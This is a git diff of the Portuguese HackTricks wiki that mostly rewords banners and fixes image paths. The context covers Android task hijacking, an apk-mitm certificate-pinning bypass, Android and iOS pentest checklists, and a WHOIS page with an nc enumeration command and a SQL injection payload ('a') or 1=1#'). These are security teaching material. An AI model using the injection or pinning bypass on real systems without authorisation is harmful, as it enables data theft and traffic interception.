||||
- As **soluções de MDM** fornecem **supervisão e segurança** para dispositivos móveis por meio da **API de Administração de Dispositivos**. Elas exigem a instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **impor políticas de senha**, **exigir criptografia de armazenamento** e **permitir a limpeza remota de dados**, garantindo controle abrangente e segurança sobre os dispositivos móveis.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -385,7 +385,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
|||
```
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -393,9 +393,9 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -43,7 +43,7 @@ Nas aplicações Android, a **afinidade de tarefa** especifica a tarefa preferid
|
|||
|
||||
### Modos de Lançamento
|
||||
|
||||
O atributo `launchMode` direciona o tratamento de instâncias de atividade dentro de tarefas. O modo **singleTask** é fundamental para este ataque, ditando três cenários com base nas instâncias de atividade existentes e nas correspondências de afinidade de tarefa. A exploração depende da capacidade do aplicativo do atacante de imitar a afinidade de tarefa do aplicativo alvo, enganando o sistema Android para lançar o aplicativo do atacante em vez do alvo pretendido.
|
||||
O atributo `launchMode` direciona o tratamento de instâncias de atividade dentro de tarefas. O modo **singleTask** é fundamental para este ataque, ditando três cenários com base nas instâncias de atividade existentes e nas correspondências de afinidade de tarefa. A exploração depende da capacidade do aplicativo do atacante de imitar a afinidade de tarefa do aplicativo alvo, enganando o sistema Android para lançar o aplicativo do atacante em vez do aplicativo alvo pretendido.
|
||||
|
||||
### Etapas Detalhadas do Ataque
|
||||
|
||||
|
@ -66,7 +66,7 @@ Para prevenir tais ataques, os desenvolvedores podem definir `taskAffinity` como
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,7 +24,7 @@ Algumas aplicações não aceitam certificados baixados pelo usuário, então, p
|
|||
|
||||
# Automático
|
||||
|
||||
A ferramenta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) irá **automaticamente** fazer as alterações necessárias na aplicação para começar a capturar as solicitações e também desabilitará o pinning de certificados (se houver).
|
||||
A ferramenta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) fará as alterações necessárias na aplicação para começar a capturar as solicitações e também desabilitará o pinning de certificados (se houver).
|
||||
|
||||
# Manual
|
||||
|
||||
|
@ -62,3 +62,23 @@ Em seguida, salve o arquivo e saia de todos os diretórios e reconstrua o apk co
|
|||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
Por fim, você só precisa **assinar a nova aplicação**. [Leia esta seção da página Smali - Decompilando/\[Modificando\]/Compilando para aprender como assiná-la](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
<details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@
|
|||
|
||||
### [Aprenda os fundamentos do Android](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [Básicos](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Noções básicas](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
||||
* [ ] [Pontos de entrada](android-app-pentesting/#application-entry-points)
|
||||
* [ ] [Atividades](android-app-pentesting/#launcher-activity)
|
||||
|
@ -53,7 +53,7 @@
|
|||
* [ ] O aplicativo está salvando dados de forma insegura interna ou externamente?
|
||||
* [ ] Existe alguma senha codificada ou salva em disco? O aplicativo está usando algoritmos de criptografia inseguros?
|
||||
* [ ] Todas as bibliotecas compiladas usando a flag PIE?
|
||||
* [ ] Não se esqueça de que existem muitos [Analisadores Estáticos de Android](android-app-pentesting/#automatic-analysis) que podem ajudar muito durante esta fase.
|
||||
* [ ] Não se esqueça de que existem muitos [Analisadores Estáticos para Android](android-app-pentesting/#automatic-analysis) que podem ajudar muito durante esta fase.
|
||||
|
||||
### [Análise Dinâmica](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
|
@ -65,19 +65,19 @@
|
|||
* [ ] Serviços expostos exploráveis
|
||||
* [ ] Receptores de Transmissão exploráveis
|
||||
* [ ] O aplicativo está transmitindo informações em texto claro/usando algoritmos fracos? É possível um ataque Man-in-the-Middle?
|
||||
* [ ] Inspecionar tráfego HTTP/HTTPS
|
||||
* [ ] [Inspeção do tráfego HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] Isso é realmente importante, porque se você pode capturar o tráfego HTTP, pode procurar por vulnerabilidades comuns na Web (Hacktricks tem muitas informações sobre vulnerabilidades na Web).
|
||||
* [ ] Verifique possíveis [Injeções do Lado do Cliente Android](android-app-pentesting/#android-client-side-injections-and-others) (provavelmente alguma análise de código estático ajudará aqui)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Apenas Frida, use-o para obter dados dinâmicos interessantes do aplicativo (talvez algumas senhas...)
|
||||
|
||||
### Algumas informações de obfuscação/Desobfuscação
|
||||
### Algumas informações de ofuscação/Desofuscação
|
||||
|
||||
* [ ] [Leia aqui](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -85,7 +85,7 @@
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -14,17 +14,17 @@ Acesse hoje mesmo:
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -34,53 +34,53 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
* [ ] Leia [**Noções Básicas do iOS**](ios-pentesting/ios-basics.md)
|
||||
* [ ] Prepare seu ambiente lendo [**Ambiente de Teste iOS**](ios-pentesting/ios-testing-environment.md)
|
||||
* [ ] Leia todas as seções de [**Análise Inicial do iOS**](ios-pentesting/#initial-analysis) para aprender ações comuns para pentest em um aplicativo iOS
|
||||
* [ ] Leia todas as seções de [**Análise Inicial do iOS**](ios-pentesting/#initial-analysis) para aprender ações comuns para pentestear um aplicativo iOS
|
||||
|
||||
### Armazenamento de Dados
|
||||
|
||||
* [ ] Os arquivos [**Plist**](ios-pentesting/#plist) podem ser usados para armazenar informações sensíveis.
|
||||
* [ ] Os [**arquivos Plist**](ios-pentesting/#plist) podem ser usados para armazenar informações sensíveis.
|
||||
* [ ] O [**Core Data**](ios-pentesting/#core-data) (banco de dados SQLite) pode armazenar informações sensíveis.
|
||||
* [ ] Os [**Bancos de Dados Yap**](ios-pentesting/#yapdatabase) (banco de dados SQLite) podem armazenar informações sensíveis.
|
||||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) com configuração incorreta.
|
||||
* [ ] Os [**bancos de dados Realm**](ios-pentesting/#realm-databases) podem armazenar informações sensíveis.
|
||||
* [ ] Os [**bancos de dados Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) podem armazenar informações sensíveis.
|
||||
* [ ] Os [**cookies binários**](ios-pentesting/#cookies) podem armazenar informações sensíveis.
|
||||
* [ ] Os dados de **cache** podem armazenar informações sensíveis.
|
||||
* [ ] Os **snapshots automáticos** podem salvar informações visuais sensíveis.
|
||||
* [ ] O **Keychain** é geralmente usado para armazenar informações sensíveis que podem ser deixadas ao revender o telefone.
|
||||
* [ ] Os dados de [**cache**](ios-pentesting/#cache) podem armazenar informações sensíveis.
|
||||
* [ ] Os [**instantâneos automáticos**](ios-pentesting/#snapshots) podem salvar informações visuais sensíveis.
|
||||
* [ ] O [**Keychain**](ios-pentesting/#keychain) é geralmente usado para armazenar informações sensíveis que podem ser deixadas ao revender o telefone.
|
||||
* [ ] Em resumo, apenas **verifique se há informações sensíveis salvas pelo aplicativo no sistema de arquivos**
|
||||
|
||||
### Teclados
|
||||
|
||||
* [ ] O aplicativo **permite o uso de teclados personalizados**?
|
||||
* [ ] Verifique se informações sensíveis são salvas nos **arquivos de cache dos teclados**
|
||||
* [ ] O aplicativo permite o uso de [**teclados personalizados**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] Verifique se informações sensíveis são salvas nos [**arquivos de cache dos teclados**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
||||
|
||||
### **Logs**
|
||||
|
||||
* [ ] Verifique se **informações sensíveis estão sendo registradas**
|
||||
* [ ] Verifique se [**informações sensíveis estão sendo registradas**](ios-pentesting/#logs)
|
||||
|
||||
### Backups
|
||||
|
||||
* [ ] Os **backups** podem ser usados para **acessar as informações sensíveis** salvas no sistema de arquivos (verifique o ponto inicial desta lista de verificação)
|
||||
* [ ] Além disso, os **backups** podem ser usados para **modificar algumas configurações do aplicativo**, então **restaure** o backup no telefone e, como a **configuração modificada** é **carregada**, alguma (funcionalidade de segurança) pode ser **burlada**
|
||||
* [ ] Os [**backups**](ios-pentesting/#backups) podem ser usados para **acessar as informações sensíveis** salvas no sistema de arquivos (verifique o ponto inicial desta lista de verificação)
|
||||
* [ ] Além disso, os [**backups**](ios-pentesting/#backups) podem ser usados para **modificar algumas configurações do aplicativo**, então **restaure** o backup no telefone e, como a **configuração modificada** é **carregada**, alguma (funcionalidade de segurança) pode ser **burlada**
|
||||
|
||||
### **Memória do Aplicativo**
|
||||
|
||||
* [ ] Verifique se há informações sensíveis dentro da **memória do aplicativo**
|
||||
* [ ] Verifique se há informações sensíveis dentro da [**memória do aplicativo**](ios-pentesting/#testing-memory-for-sensitive-data)
|
||||
|
||||
### **Criptografia Quebrada**
|
||||
|
||||
* [ ] Verifique se é possível encontrar **senhas usadas para criptografia**
|
||||
* [ ] Verifique o uso de algoritmos **obsoletos/fracos** para enviar/armazenar dados sensíveis
|
||||
* [ ] **Intercepte e monitore funções de criptografia**
|
||||
* [ ] Verifique se você pode encontrar [**senhas usadas para criptografia**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] Verifique o uso de [**algoritmos obsoletos/fracos**](ios-pentesting/#broken-cryptography) para enviar/armazenar dados sensíveis
|
||||
* [ ] [**Intercepte e monitore funções de criptografia**](ios-pentesting/#broken-cryptography)
|
||||
|
||||
### **Autenticação Local**
|
||||
|
||||
* [ ] Se uma **autenticação local** é usada no aplicativo, verifique como a autenticação está funcionando.
|
||||
* [ ] Se estiver usando o **Framework de Autenticação Local**, pode ser facilmente burlado
|
||||
* [ ] Se estiver usando uma **função que pode ser burlada dinamicamente**, você pode criar um script frida personalizado
|
||||
* [ ] Se uma [**autenticação local**](ios-pentesting/#local-authentication) é usada no aplicativo, verifique como a autenticação está funcionando.
|
||||
* [ ] Se estiver usando o [**Framework de Autenticação Local**](ios-pentesting/#local-authentication-framework), ela pode ser facilmente burlada
|
||||
* [ ] Se estiver usando uma [**função que pode ser burlada dinamicamente**](ios-pentesting/#local-authentication-using-keychain), você pode criar um script frida personalizado
|
||||
|
||||
### Exposição de Funcionalidade Sensível por meio de IPC
|
||||
### Exposição de Funcionalidade Sensível por IPC
|
||||
|
||||
* [**Manipuladores de URI Personalizados / Deep Links / Esquemas Personalizados**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] Verifique se o aplicativo está **registrando algum protocolo/esquema**
|
||||
|
@ -94,7 +94,7 @@ Outras formas de apoiar o HackTricks:
|
|||
* [ ] Verifique se o aplicativo **não está verificando e sanitizando** a entrada dos usuários via esquema personalizado e alguma **vulnerabilidade pode ser explorada**
|
||||
* [ ] Verifique se o aplicativo **expõe alguma ação sensível** que pode ser chamada de qualquer lugar via esquema personalizado
|
||||
* [**Compartilhamento de UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] Verifique se o aplicativo pode receber UIActivities e se é possível explorar alguma vulnerabilidade com uma atividade especialmente elaborada
|
||||
* [ ] Verifique se o aplicativo pode receber UIActivities e se é possível explorar alguma vulnerabilidade com uma atividade especialmente criada
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] Verifique se o aplicativo está **copiando algo para a área de transferência geral**
|
||||
* [ ] Verifique se o aplicativo está **usando os dados da área de transferência geral para algo**
|
||||
|
@ -108,18 +108,18 @@ Outras formas de apoiar o HackTricks:
|
|||
* [ ] Verifique se o Javascript pode acessar **métodos nativos** (`JSContext`, `postMessage`)
|
||||
### Comunicação de Rede
|
||||
|
||||
* [ ] Realize um [**MitM na comunicação**](ios-pentesting/#network-communication) e procure por vulnerabilidades web.
|
||||
* [ ] Verifique se o [**hostname do certificado**](ios-pentesting/#hostname-check) é verificado.
|
||||
* [ ] Verifique/Burla o [**Certificate Pinning**](ios-pentesting/#certificate-pinning)
|
||||
* [ ] Realizar um [**MitM na comunicação**](ios-pentesting/#network-communication) e procurar por vulnerabilidades web.
|
||||
* [ ] Verificar se o [**hostname do certificado**](ios-pentesting/#hostname-check) é verificado.
|
||||
* [ ] Verificar/Burlar o [**Certificate Pinning**](ios-pentesting/#certificate-pinning)
|
||||
|
||||
### **Diversos**
|
||||
|
||||
* [ ] Verifique os mecanismos de [**atualização/patching automático**](ios-pentesting/#hot-patching-enforced-updateing)
|
||||
* [ ] Verifique por [**bibliotecas de terceiros maliciosas**](ios-pentesting/#third-parties)
|
||||
* [ ] Verificar os mecanismos de [**atualização/patching automático**](ios-pentesting/#hot-patching-enforced-updateing)
|
||||
* [ ] Verificar a presença de [**bibliotecas de terceiros maliciosas**](ios-pentesting/#third-parties)
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -129,9 +129,9 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
@ -140,7 +140,7 @@ Outras formas de apoiar o HackTricks:
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Tenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -31,7 +31,7 @@ PORT STATE SERVICE
|
|||
```
|
||||
# Enumerar
|
||||
|
||||
Obtenha todas as informações que um serviço de whois possui sobre um domínio:
|
||||
Obtenha todas as informações que um serviço whois possui sobre um domínio:
|
||||
```bash
|
||||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
|
@ -40,7 +40,7 @@ echo "domain.ltd" | nc -vn <HOST> <PORT>
|
|||
|
||||
![](<../.gitbook/assets/image (147).png>)
|
||||
|
||||
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **SQLInjection** poderia estar presente ao **consultar** o banco de dados a partir de algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia ser capaz de **extrair todas** as **informações** salvas no banco de dados.
|
||||
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **SQLInjection** pode estar presente ao **consultar** o banco de dados com algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você pode ser capaz de **extrair todas** as **informações** salvas no banco de dados.
|
||||
|
||||
# Shodan
|
||||
|
||||
|
@ -48,7 +48,7 @@ Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para arm
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -78,7 +78,7 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
